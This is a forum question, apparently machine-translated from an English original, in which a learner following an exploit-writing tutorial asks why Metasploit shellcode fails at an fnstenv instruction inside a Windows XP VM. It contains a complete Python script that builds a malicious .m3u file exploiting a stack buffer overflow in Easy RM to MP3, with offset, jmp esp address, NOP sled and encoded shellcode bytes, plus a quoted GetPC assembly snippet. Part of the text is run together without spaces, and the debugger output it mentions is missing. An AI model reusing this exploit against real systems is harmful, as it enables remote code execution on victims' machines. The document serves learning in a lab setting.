Estoy realizando un tutorial introductorio sobre la escritura de exploits, que puede ser encontrado aquí . El tutorial trata sobre una vulnerabilidad de desbordamiento de búfer basada en pila simple en la utilidad de conversión Easy RM to MP3. Tenía el PoC básico funcionando (aunque, encontré un desplazamiento diferente para sobrescribir el EIP que el autor, aunque usé la misma versión). En otras palabras, pude tomar el control de EIP y hacer que saltara a un nopsled antes del shellcode, y el shellcode de prueba que contenía solo una instrucción de ruptura funcionó perfectamente bien. Sin embargo, parece que tengo problemas cuando utilizo shellcode real generado con metasploit (como se muestra en el tutorial). Aquí está el script Python que escribí mientras seguía el tutorial (no quería usar Perl ...):
from struct import pack
filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"
preshell = "X" * 4
shellcode = nop*25
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"
payload = junk + eip + preshell + shellcode
with open(filename, "wb") as file:
file.write(payload)
Esto es lo que Windbg muestra después de que se bloquea el código de shell (tenga en cuenta que el jmp esp funcionó perfectamente bien y que la excepción ocurrió dentro del código de shell):
Despuésdemiraraldepurador,parecequeelproblemaestáenlainstrucciónfnstenv,queaparecehaciaelprincipiodelcódigodeshell.Porloqueheencontradoen
Otro mecanismo interesante que se usa para obtener el EIP es hacer uso de unas pocas instrucciones especiales de FPU. Esto fue implementado por Aaron Lista de correo de Adams en Vuln-Dev en la discusión para crear ASCII puro shellcode. El código utiliza las instrucciones fnstenv / fstenv para guardar el Estado del entorno FPU.
fldz
fnstenv [esp-12]
pop ecx
añadir cl, 10
nop
ECX mantendrá la dirección del EIP. Sin embargo, estas instrucciones generará caracteres ASCII no estándar.
Parece que esto es necesario / útil para descodificar el código de shell codificado. Sin embargo, la dirección que se extrae de la pila después de la llamada fnstenv siempre resulta ser NULL (0x00000000) y, a continuación, el código de shell falla posteriormente. Incluso probé este exploit / shellcode en otra VM de Windows XP que tuve (aunque no lo configuré originalmente) y noté que sucedía el mismo resultado.
Mi pregunta es simplemente, ¿por qué sucede esto? ¿Qué causaría que la instrucción fnstenv fallara, resultando en una dirección NULA en lugar de la dirección de EIP? ¿Hay alguna configuración que deba cambiar (tal vez algo con la configuración de hardware de Virtualbox para la máquina virtual?) Que impida que esto funcione correctamente?